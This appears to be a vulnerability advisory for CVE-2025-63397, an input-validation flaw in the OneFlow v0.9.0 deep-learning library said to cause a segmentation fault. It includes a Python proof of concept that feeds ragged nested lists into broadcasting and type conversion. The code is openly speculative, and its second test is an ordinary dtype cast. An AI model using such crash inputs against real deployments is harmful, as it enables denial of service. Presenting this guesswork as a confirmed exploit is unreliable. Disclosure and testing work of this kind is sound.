Improper input validation in OneFlow v0.9.0 allows attackers to cause a segmentation fault via adding a Python sequence to the native code during broadcasting/type conversion.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-63397 PoC - OneFlow Input Validation Issue
This PoC demonstrates how improper input validation in OneFlow v0.9.0
can lead to segmentation fault during broadcasting/type conversion.
"""
import oneflow as flow
import numpy as np
def trigger_vulnerability():
"""
Attempt to trigger segmentation fault by providing
malformed Python sequences during broadcasting operations.
"""
try:
# Create tensors with incompatible shapes for broadcasting
tensor_a = flow.tensor([[1, 2, 3]])
# Try to broadcast with malformed sequence
# This may trigger the vulnerability if input validation is missing
malformed_sequence = [[1, 2], [3, 4, 5]] # Inconsistent lengths
tensor_b = flow.tensor(malformed_sequence)
# Attempt broadcasting operation that may cause crash
result = tensor_a + tensor_b
print(f"Result: {result}")
print("Vulnerability may not be triggered with this specific input")
except Exception as e:
print(f"Exception caught: {type(e).__name__}: {e}")
def trigger_type_conversion_issue():
"""
Try to trigger vulnerability through type conversion with invalid data.
"""
try:
# Create tensor with unusual data structure
# The vulnerability occurs when native code receives unexpected Python sequences
invalid_data = flow.tensor([[1, 2, 3]], dtype=flow.float32)
# Attempt operations that involve broadcasting and type conversion
result = invalid_data.to(dtype=flow.int32)
print(f"Conversion result: {result}")
except Exception as e:
print(f"Exception caught: {type(e).__name__}: {e}")
if __name__ == "__main__":
print("CVE-2025-63397 PoC for OneFlow Input Validation Issue")
print("=" * 60)
print("Note: This PoC attempts to trigger the vulnerability but may not")
print("cause segmentation fault in all environments.\n")
trigger_vulnerability()
print("-" * 60)
trigger_type_conversion_issue()